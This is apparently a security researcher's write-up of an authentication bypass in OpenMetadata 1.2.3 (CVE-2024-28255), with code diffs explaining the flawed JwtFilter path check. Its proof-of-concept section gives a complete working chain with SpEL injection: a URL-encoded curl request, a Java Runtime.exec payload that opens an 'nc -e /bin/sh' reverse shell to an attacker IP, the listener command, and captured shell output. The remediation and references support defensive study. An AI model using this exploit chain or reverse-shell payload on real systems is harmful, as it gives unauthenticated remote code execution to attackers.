Overview
This issue allows unauthenticated access to JWT-protected API calls in OpenMetada version 1.2.3 and below.
Reading the vulnerability description, it has to do with a incomplete Jwtfilter that allows to bypass this JWT token authentication.
Technical analysis
The relevant code changes between OpenMetadata versions 1.2.3 and 1.2.4 show how the bypass was addressed.
The relevant implementation difference is that the JwtFilter performs an overly broad path comparison using uriInfo.getPath().contains(endpoint) in version 1.2.3, whilst in version 1.2.4 it has been fixed and restricted using uriInfo.getPath().equalsIgnoreCase(endpoint)
OpenMetadata 1.2.3 excerpt from JwtFilter.java
public static final List<String> EXCLUDED_ENDPOINTS =
List.of(
"v1/system/config",
"v1/users/signup",
"v1/system/version",
"v1/users/registrationConfirmation",
"v1/users/resendRegistrationToken",
"v1/users/generatePasswordResetLink",
"v1/users/password/reset",
"v1/users/checkEmailInUse",
"v1/users/login",
"v1/users/refresh");
public void filter(ContainerRequestContext requestContext) {
UriInfo uriInfo = requestContext.getUriInfo();
if (EXCLUDED_ENDPOINTS.stream().anyMatch(endpoint -> uriInfo.getPath().contains(endpoint))) {
return;
}
OpenMetadata 1.2.4 excerpt from JwtFilter.java
public static final List<String> EXCLUDED_ENDPOINTS =
List.of(
"v1/system/config/jwks",
"v1/system/config/authorizer",
"v1/system/config/customLogoConfiguration",
"v1/system/config/auth",
"v1/users/signup",
"v1/system/version",
"v1/users/registrationConfirmation",
"v1/users/resendRegistrationToken",
"v1/users/generatePasswordResetLink",
"v1/users/password/reset",
"v1/users/checkEmailInUse",
"v1/users/login",
"v1/users/refresh");
public void filter(ContainerRequestContext requestContext) {
UriInfo uriInfo = requestContext.getUriInfo();
if (EXCLUDED_ENDPOINTS.stream()
.anyMatch(endpoint -> uriInfo.getPath().equalsIgnoreCase(endpoint))) {
return;
}
By adding an URL from the excluded list to a JWT token protected API url, you can potentially bypass the authentication and use the existing sPEL injection vulnerabilities in OpenMetadata version 1.2.3 and below:
CVE-2024-28254 -> GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/<expression>
CVE-2024-28848 -> GET /api/v1;v1%2fusers%2flogin/policies/validation/condition/<expression>
Proof of concept
Chaining CVE-2024-28255 and CVE-2024-28254 to get an unauthenticated RCE via sPEL injection
sPEL injection: T(java.lang.Runtime).getRuntime().exec('nc 192.168.201.8 4444 -e /bin/sh')
Listener: nc -lvnp 4444
Also ensure that you URL encode the payload, otherwise your GET request might not deliver the expected response.
# curl 'http://192.168.201.42:8585/api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27nc%20192.168.201.8%204444%20-e%20%2Fbin%2Fsh%27%29'
{"code":400,"message":"Failed to evaluate - EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.Boolean"}
RCE is succesfull if you receive a “Failed to evaluate - EL1001E” message.
# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.201.42 63333
pwd
/opt/openmetadata
id
uid=1000(openmetadata) gid=1000(openmetadata) groups=1000(openmetadata)
uname -a
Linux aec47ea48dc2 6.6.32-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Jun 13 14:14:43 UTC 2024 x86_64 Linux
You can do the same by chaining CVE-2024-28255 and CVE-2024-28848.
By the way, most of the API enpoints are not susceptible to this bypass because most of these endpoint are using the SecurityContext.getUserPrincipal() that will return null using this JWT authentication bypass. You will get an error message as listed below.
OpenMetadata API request to list all databases
GET /api/v1;v1%2fusers%2flogin/databases HTTP/1.1
Host: 192.168.201.42:8585
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: */*
Connection: keep-alive
Response
HTTP/1.1 401 Unauthorized
Date: Wed, 31 Jul 2024 13:02:04 GMT
Content-Type: application/json
WWW-Authenticate: om-auth
Content-Length: 57
{ "code":401, "message":"No principal in security context" }
There is Metasploit module available that exploits this vulnerability in combination with the sPEL injection vulnerabilities. You can find the module here at PR 19347.
Remediation
Upgrade to the latest release of OpenMetadata or at least upgrade to the patched version 1.2.4.
References
- CVE-2024-28255
- CVE-2024-28254
- CVE-2024-28848
- OpenMetadata Advisory GHSL-2023-235 - GHSL-2023-237
- OpenMetadata Quickstart Docker deployment
- sPEL injections
- HackTricks Expression Language
Credits
Alvaro Munoz alias pwntester (https://github.com/pwntester) - Discovery